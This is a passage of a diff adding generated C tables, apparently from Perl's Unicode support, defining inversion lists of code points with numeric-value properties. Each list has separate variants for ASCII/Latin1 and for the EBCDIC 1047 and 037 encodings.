+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NT__NU_invlist[] = { /* for EBCDIC 1047 */
+	281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1372,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17F0,
+	0x17FA,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x249C,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A44,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E69,
+	0x10E7F,
+	0x1105B,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x12400,
+	0x1246F,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F10B,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NT__NU_invlist[] = { /* for EBCDIC 037 */
+	281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0x9F4,
+	0x9FA,
+	0xB72,
+	0xB78,
+	0xBF0,
+	0xBF3,
+	0xC78,
+	0xC7F,
+	0xD58,
+	0xD5F,
+	0xD70,
+	0xD79,
+	0xF2A,
+	0xF34,
+	0x1372,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17F0,
+	0x17FA,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2469,
+	0x2474,
+	0x247D,
+	0x2488,
+	0x2491,
+	0x249C,
+	0x24EB,
+	0x24F5,
+	0x24FE,
+	0x24FF,
+	0x277F,
+	0x2780,
+	0x2789,
+	0x278A,
+	0x2793,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A44,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E69,
+	0x10E7F,
+	0x1105B,
+	0x11066,
+	0x111E1,
+	0x111F5,
+	0x1173A,
+	0x1173C,
+	0x118EA,
+	0x118F3,
+	0x11C5A,
+	0x11C6D,
+	0x12400,
+	0x1246F,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1E8C7,
+	0x1E8D0,
+	0x1F10B,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NUMBERFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2150,
+	0x2190
+};
+
+static const UV PL_NV___MINUS_1_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF33,
+	0xF34
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__0_invlist[] = { /* for ASCII/Latin1 */
+	147,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x31,
+	0x660,
+	0x661,
+	0x6F0,
+	0x6F1,
+	0x7C0,
+	0x7C1,
+	0x966,
+	0x967,
+	0x9E6,
+	0x9E7,
+	0xA66,
+	0xA67,
+	0xAE6,
+	0xAE7,
+	0xB66,
+	0xB67,
+	0xBE6,
+	0xBE7,
+	0xC66,
+	0xC67,
+	0xC78,
+	0xC79,
+	0xCE6,
+	0xCE7,
+	0xD66,
+	0xD67,
+	0xDE6,
+	0xDE7,
+	0xE50,
+	0xE51,
+	0xED0,
+	0xED1,
+	0xF20,
+	0xF21,
+	0x1040,
+	0x1041,
+	0x1090,
+	0x1091,
+	0x17E0,
+	0x17E1,
+	0x17F0,
+	0x17F1,
+	0x1810,
+	0x1811,
+	0x1946,
+	0x1947,
+	0x19D0,
+	0x19D1,
+	0x1A80,
+	0x1A81,
+	0x1A90,
+	0x1A91,
+	0x1B50,
+	0x1B51,
+	0x1BB0,
+	0x1BB1,
+	0x1C40,
+	0x1C41,
+	0x1C50,
+	0x1C51,
+	0x2070,
+	0x2071,
+	0x2080,
+	0x2081,
+	0x2189,
+	0x218A,
+	0x24EA,
+	0x24EB,
+	0x24FF,
+	0x2500,
+	0x3007,
+	0x3008,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA621,
+	0xA6EF,
+	0xA6F0,
+	0xA8D0,
+	0xA8D1,
+	0xA900,
+	0xA901,
+	0xA9D0,
+	0xA9D1,
+	0xA9F0,
+	0xA9F1,
+	0xAA50,
+	0xAA51,
+	0xABF0,
+	0xABF1,
+	0xF9B2,
+	0xF9B3,
+	0xFF10,
+	0xFF11,
+	0x1018A,
+	0x1018B,
+	0x104A0,
+	0x104A1,
+	0x11066,
+	0x11067,
+	0x110F0,
+	0x110F1,
+	0x11136,
+	0x11137,
+	0x111D0,
+	0x111D1,
+	0x112F0,
+	0x112F1,
+	0x11450,
+	0x11451,
+	0x114D0,
+	0x114D1,
+	0x11650,
+	0x11651,
+	0x116C0,
+	0x116C1,
+	0x11730,
+	0x11731,
+	0x118E0,
+	0x118E1,
+	0x11C50,
+	0x11C51,
+	0x11D50,
+	0x11D51,
+	0x16A60,
+	0x16A61,
+	0x16B50,
+	0x16B51,
+	0x1D7CE,
+	0x1D7CF,
+	0x1D7D8,
+	0x1D7D9,
+	0x1D7E2,
+	0x1D7E3,
+	0x1D7EC,
+	0x1D7ED,
+	0x1D7F6,
+	0x1D7F7,
+	0x1E950,
+	0x1E951,
+	0x1F100,
+	0x1F102,
+	0x1F10B,
+	0x1F10D
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__0_invlist[] = { /* for EBCDIC 1047 */
+	147,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xF1,
+	0x660,
+	0x661,
+	0x6F0,
+	0x6F1,
+	0x7C0,
+	0x7C1,
+	0x966,
+	0x967,
+	0x9E6,
+	0x9E7,
+	0xA66,
+	0xA67,
+	0xAE6,
+	0xAE7,
+	0xB66,
+	0xB67,
+	0xBE6,
+	0xBE7,
+	0xC66,
+	0xC67,
+	0xC78,
+	0xC79,
+	0xCE6,
+	0xCE7,
+	0xD66,
+	0xD67,
+	0xDE6,
+	0xDE7,
+	0xE50,
+	0xE51,
+	0xED0,
+	0xED1,
+	0xF20,
+	0xF21,
+	0x1040,
+	0x1041,
+	0x1090,
+	0x1091,
+	0x17E0,
+	0x17E1,
+	0x17F0,
+	0x17F1,
+	0x1810,
+	0x1811,
+	0x1946,
+	0x1947,
+	0x19D0,
+	0x19D1,
+	0x1A80,
+	0x1A81,
+	0x1A90,
+	0x1A91,
+	0x1B50,
+	0x1B51,
+	0x1BB0,
+	0x1BB1,
+	0x1C40,
+	0x1C41,
+	0x1C50,
+	0x1C51,
+	0x2070,
+	0x2071,
+	0x2080,
+	0x2081,
+	0x2189,
+	0x218A,
+	0x24EA,
+	0x24EB,
+	0x24FF,
+	0x2500,
+	0x3007,
+	0x3008,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA621,
+	0xA6EF,
+	0xA6F0,
+	0xA8D0,
+	0xA8D1,
+	0xA900,
+	0xA901,
+	0xA9D0,
+	0xA9D1,
+	0xA9F0,
+	0xA9F1,
+	0xAA50,
+	0xAA51,
+	0xABF0,
+	0xABF1,
+	0xF9B2,
+	0xF9B3,
+	0xFF10,
+	0xFF11,
+	0x1018A,
+	0x1018B,
+	0x104A0,
+	0x104A1,
+	0x11066,
+	0x11067,
+	0x110F0,
+	0x110F1,
+	0x11136,
+	0x11137,
+	0x111D0,
+	0x111D1,
+	0x112F0,
+	0x112F1,
+	0x11450,
+	0x11451,
+	0x114D0,
+	0x114D1,
+	0x11650,
+	0x11651,
+	0x116C0,
+	0x116C1,
+	0x11730,
+	0x11731,
+	0x118E0,
+	0x118E1,
+	0x11C50,
+	0x11C51,
+	0x11D50,
+	0x11D51,
+	0x16A60,
+	0x16A61,
+	0x16B50,
+	0x16B51,
+	0x1D7CE,
+	0x1D7CF,
+	0x1D7D8,
+	0x1D7D9,
+	0x1D7E2,
+	0x1D7E3,
+	0x1D7EC,
+	0x1D7ED,
+	0x1D7F6,
+	0x1D7F7,
+	0x1E950,
+	0x1E951,
+	0x1F100,
+	0x1F102,
+	0x1F10B,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__0_invlist[] = { /* for EBCDIC 037 */
+	147,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xF1,
+	0x660,
+	0x661,
+	0x6F0,
+	0x6F1,
+	0x7C0,
+	0x7C1,
+	0x966,
+	0x967,
+	0x9E6,
+	0x9E7,
+	0xA66,
+	0xA67,
+	0xAE6,
+	0xAE7,
+	0xB66,
+	0xB67,
+	0xBE6,
+	0xBE7,
+	0xC66,
+	0xC67,
+	0xC78,
+	0xC79,
+	0xCE6,
+	0xCE7,
+	0xD66,
+	0xD67,
+	0xDE6,
+	0xDE7,
+	0xE50,
+	0xE51,
+	0xED0,
+	0xED1,
+	0xF20,
+	0xF21,
+	0x1040,
+	0x1041,
+	0x1090,
+	0x1091,
+	0x17E0,
+	0x17E1,
+	0x17F0,
+	0x17F1,
+	0x1810,
+	0x1811,
+	0x1946,
+	0x1947,
+	0x19D0,
+	0x19D1,
+	0x1A80,
+	0x1A81,
+	0x1A90,
+	0x1A91,
+	0x1B50,
+	0x1B51,
+	0x1BB0,
+	0x1BB1,
+	0x1C40,
+	0x1C41,
+	0x1C50,
+	0x1C51,
+	0x2070,
+	0x2071,
+	0x2080,
+	0x2081,
+	0x2189,
+	0x218A,
+	0x24EA,
+	0x24EB,
+	0x24FF,
+	0x2500,
+	0x3007,
+	0x3008,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA621,
+	0xA6EF,
+	0xA6F0,
+	0xA8D0,
+	0xA8D1,
+	0xA900,
+	0xA901,
+	0xA9D0,
+	0xA9D1,
+	0xA9F0,
+	0xA9F1,
+	0xAA50,
+	0xAA51,
+	0xABF0,
+	0xABF1,
+	0xF9B2,
+	0xF9B3,
+	0xFF10,
+	0xFF11,
+	0x1018A,
+	0x1018B,
+	0x104A0,
+	0x104A1,
+	0x11066,
+	0x11067,
+	0x110F0,
+	0x110F1,
+	0x11136,
+	0x11137,
+	0x111D0,
+	0x111D1,
+	0x112F0,
+	0x112F1,
+	0x11450,
+	0x11451,
+	0x114D0,
+	0x114D1,
+	0x11650,
+	0x11651,
+	0x116C0,
+	0x116C1,
+	0x11730,
+	0x11731,
+	0x118E0,
+	0x118E1,
+	0x11C50,
+	0x11C51,
+	0x11D50,
+	0x11D51,
+	0x16A60,
+	0x16A61,
+	0x16B50,
+	0x16B51,
+	0x1D7CE,
+	0x1D7CF,
+	0x1D7D8,
+	0x1D7D9,
+	0x1D7E2,
+	0x1D7E3,
+	0x1D7EC,
+	0x1D7ED,
+	0x1D7F6,
+	0x1D7F7,
+	0x1E950,
+	0x1E951,
+	0x1F100,
+	0x1F102,
+	0x1F10B,
+	0x1F10D
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__1_invlist[] = { /* for ASCII/Latin1 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x31,
+	0x32,
+	0xB9,
+	0xBA,
+	0x661,
+	0x662,
+	0x6F1,
+	0x6F2,
+	0x7C1,
+	0x7C2,
+	0x967,
+	0x968,
+	0x9E7,
+	0x9E8,
+	0xA67,
+	0xA68,
+	0xAE7,
+	0xAE8,
+	0xB67,
+	0xB68,
+	0xBE7,
+	0xBE8,
+	0xC67,
+	0xC68,
+	0xC79,
+	0xC7A,
+	0xC7C,
+	0xC7D,
+	0xCE7,
+	0xCE8,
+	0xD67,
+	0xD68,
+	0xDE7,
+	0xDE8,
+	0xE51,
+	0xE52,
+	0xED1,
+	0xED2,
+	0xF21,
+	0xF22,
+	0x1041,
+	0x1042,
+	0x1091,
+	0x1092,
+	0x1369,
+	0x136A,
+	0x17E1,
+	0x17E2,
+	0x17F1,
+	0x17F2,
+	0x1811,
+	0x1812,
+	0x1947,
+	0x1948,
+	0x19D1,
+	0x19D2,
+	0x19DA,
+	0x19DB,
+	0x1A81,
+	0x1A82,
+	0x1A91,
+	0x1A92,
+	0x1B51,
+	0x1B52,
+	0x1BB1,
+	0x1BB2,
+	0x1C41,
+	0x1C42,
+	0x1C51,
+	0x1C52,
+	0x2081,
+	0x2082,
+	0x215F,
+	0x2161,
+	0x2170,
+	0x2171,
+	0x2460,
+	0x2461,
+	0x2474,
+	0x2475,
+	0x2488,
+	0x2489,
+	0x24F5,
+	0x24F6,
+	0x2776,
+	0x2777,
+	0x2780,
+	0x2781,
+	0x278A,
+	0x278B,
+	0x3021,
+	0x3022,
+	0x3192,
+	0x3193,
+	0x3220,
+	0x3221,
+	0x3280,
+	0x3281,
+	0x4E00,
+	0x4E01,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5F0C,
+	0x5F0D,
+	0xA621,
+	0xA622,
+	0xA6E6,
+	0xA6E7,
+	0xA8D1,
+	0xA8D2,
+	0xA901,
+	0xA902,
+	0xA9D1,
+	0xA9D2,
+	0xA9F1,
+	0xA9F2,
+	0xAA51,
+	0xAA52,
+	0xABF1,
+	0xABF2,
+	0xFF11,
+	0xFF12,
+	0x10107,
+	0x10108,
+	0x10142,
+	0x10143,
+	0x10158,
+	0x1015B,
+	0x102E1,
+	0x102E2,
+	0x10320,
+	0x10321,
+	0x103D1,
+	0x103D2,
+	0x104A1,
+	0x104A2,
+	0x10858,
+	0x10859,
+	0x10879,
+	0x1087A,
+	0x108A7,
+	0x108A8,
+	0x108FB,
+	0x108FC,
+	0x10916,
+	0x10917,
+	0x109C0,
+	0x109C1,
+	0x10A40,
+	0x10A41,
+	0x10A7D,
+	0x10A7E,
+	0x10A9D,
+	0x10A9E,
+	0x10AEB,
+	0x10AEC,
+	0x10B58,
+	0x10B59,
+	0x10B78,
+	0x10B79,
+	0x10BA9,
+	0x10BAA,
+	0x10CFA,
+	0x10CFB,
+	0x10E60,
+	0x10E61,
+	0x11052,
+	0x11053,
+	0x11067,
+	0x11068,
+	0x110F1,
+	0x110F2,
+	0x11137,
+	0x11138,
+	0x111D1,
+	0x111D2,
+	0x111E1,
+	0x111E2,
+	0x112F1,
+	0x112F2,
+	0x11451,
+	0x11452,
+	0x114D1,
+	0x114D2,
+	0x11651,
+	0x11652,
+	0x116C1,
+	0x116C2,
+	0x11731,
+	0x11732,
+	0x118E1,
+	0x118E2,
+	0x11C51,
+	0x11C52,
+	0x11C5A,
+	0x11C5B,
+	0x11D51,
+	0x11D52,
+	0x12415,
+	0x12416,
+	0x1241E,
+	0x1241F,
+	0x1242C,
+	0x1242D,
+	0x12434,
+	0x12435,
+	0x1244F,
+	0x12450,
+	0x12458,
+	0x12459,
+	0x16A61,
+	0x16A62,
+	0x16B51,
+	0x16B52,
+	0x1D360,
+	0x1D361,
+	0x1D7CF,
+	0x1D7D0,
+	0x1D7D9,
+	0x1D7DA,
+	0x1D7E3,
+	0x1D7E4,
+	0x1D7ED,
+	0x1D7EE,
+	0x1D7F7,
+	0x1D7F8,
+	0x1E8C7,
+	0x1E8C8,
+	0x1E951,
+	0x1E952,
+	0x1F102,
+	0x1F103,
+	0x2092A,
+	0x2092B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__1_invlist[] = { /* for EBCDIC 1047 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xF1,
+	0xF2,
+	0x661,
+	0x662,
+	0x6F1,
+	0x6F2,
+	0x7C1,
+	0x7C2,
+	0x967,
+	0x968,
+	0x9E7,
+	0x9E8,
+	0xA67,
+	0xA68,
+	0xAE7,
+	0xAE8,
+	0xB67,
+	0xB68,
+	0xBE7,
+	0xBE8,
+	0xC67,
+	0xC68,
+	0xC79,
+	0xC7A,
+	0xC7C,
+	0xC7D,
+	0xCE7,
+	0xCE8,
+	0xD67,
+	0xD68,
+	0xDE7,
+	0xDE8,
+	0xE51,
+	0xE52,
+	0xED1,
+	0xED2,
+	0xF21,
+	0xF22,
+	0x1041,
+	0x1042,
+	0x1091,
+	0x1092,
+	0x1369,
+	0x136A,
+	0x17E1,
+	0x17E2,
+	0x17F1,
+	0x17F2,
+	0x1811,
+	0x1812,
+	0x1947,
+	0x1948,
+	0x19D1,
+	0x19D2,
+	0x19DA,
+	0x19DB,
+	0x1A81,
+	0x1A82,
+	0x1A91,
+	0x1A92,
+	0x1B51,
+	0x1B52,
+	0x1BB1,
+	0x1BB2,
+	0x1C41,
+	0x1C42,
+	0x1C51,
+	0x1C52,
+	0x2081,
+	0x2082,
+	0x215F,
+	0x2161,
+	0x2170,
+	0x2171,
+	0x2460,
+	0x2461,
+	0x2474,
+	0x2475,
+	0x2488,
+	0x2489,
+	0x24F5,
+	0x24F6,
+	0x2776,
+	0x2777,
+	0x2780,
+	0x2781,
+	0x278A,
+	0x278B,
+	0x3021,
+	0x3022,
+	0x3192,
+	0x3193,
+	0x3220,
+	0x3221,
+	0x3280,
+	0x3281,
+	0x4E00,
+	0x4E01,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5F0C,
+	0x5F0D,
+	0xA621,
+	0xA622,
+	0xA6E6,
+	0xA6E7,
+	0xA8D1,
+	0xA8D2,
+	0xA901,
+	0xA902,
+	0xA9D1,
+	0xA9D2,
+	0xA9F1,
+	0xA9F2,
+	0xAA51,
+	0xAA52,
+	0xABF1,
+	0xABF2,
+	0xFF11,
+	0xFF12,
+	0x10107,
+	0x10108,
+	0x10142,
+	0x10143,
+	0x10158,
+	0x1015B,
+	0x102E1,
+	0x102E2,
+	0x10320,
+	0x10321,
+	0x103D1,
+	0x103D2,
+	0x104A1,
+	0x104A2,
+	0x10858,
+	0x10859,
+	0x10879,
+	0x1087A,
+	0x108A7,
+	0x108A8,
+	0x108FB,
+	0x108FC,
+	0x10916,
+	0x10917,
+	0x109C0,
+	0x109C1,
+	0x10A40,
+	0x10A41,
+	0x10A7D,
+	0x10A7E,
+	0x10A9D,
+	0x10A9E,
+	0x10AEB,
+	0x10AEC,
+	0x10B58,
+	0x10B59,
+	0x10B78,
+	0x10B79,
+	0x10BA9,
+	0x10BAA,
+	0x10CFA,
+	0x10CFB,
+	0x10E60,
+	0x10E61,
+	0x11052,
+	0x11053,
+	0x11067,
+	0x11068,
+	0x110F1,
+	0x110F2,
+	0x11137,
+	0x11138,
+	0x111D1,
+	0x111D2,
+	0x111E1,
+	0x111E2,
+	0x112F1,
+	0x112F2,
+	0x11451,
+	0x11452,
+	0x114D1,
+	0x114D2,
+	0x11651,
+	0x11652,
+	0x116C1,
+	0x116C2,
+	0x11731,
+	0x11732,
+	0x118E1,
+	0x118E2,
+	0x11C51,
+	0x11C52,
+	0x11C5A,
+	0x11C5B,
+	0x11D51,
+	0x11D52,
+	0x12415,
+	0x12416,
+	0x1241E,
+	0x1241F,
+	0x1242C,
+	0x1242D,
+	0x12434,
+	0x12435,
+	0x1244F,
+	0x12450,
+	0x12458,
+	0x12459,
+	0x16A61,
+	0x16A62,
+	0x16B51,
+	0x16B52,
+	0x1D360,
+	0x1D361,
+	0x1D7CF,
+	0x1D7D0,
+	0x1D7D9,
+	0x1D7DA,
+	0x1D7E3,
+	0x1D7E4,
+	0x1D7ED,
+	0x1D7EE,
+	0x1D7F7,
+	0x1D7F8,
+	0x1E8C7,
+	0x1E8C8,
+	0x1E951,
+	0x1E952,
+	0x1F102,
+	0x1F103,
+	0x2092A,
+	0x2092B
+};
+
+#   endif	/* EBCDIC 1047 */
+
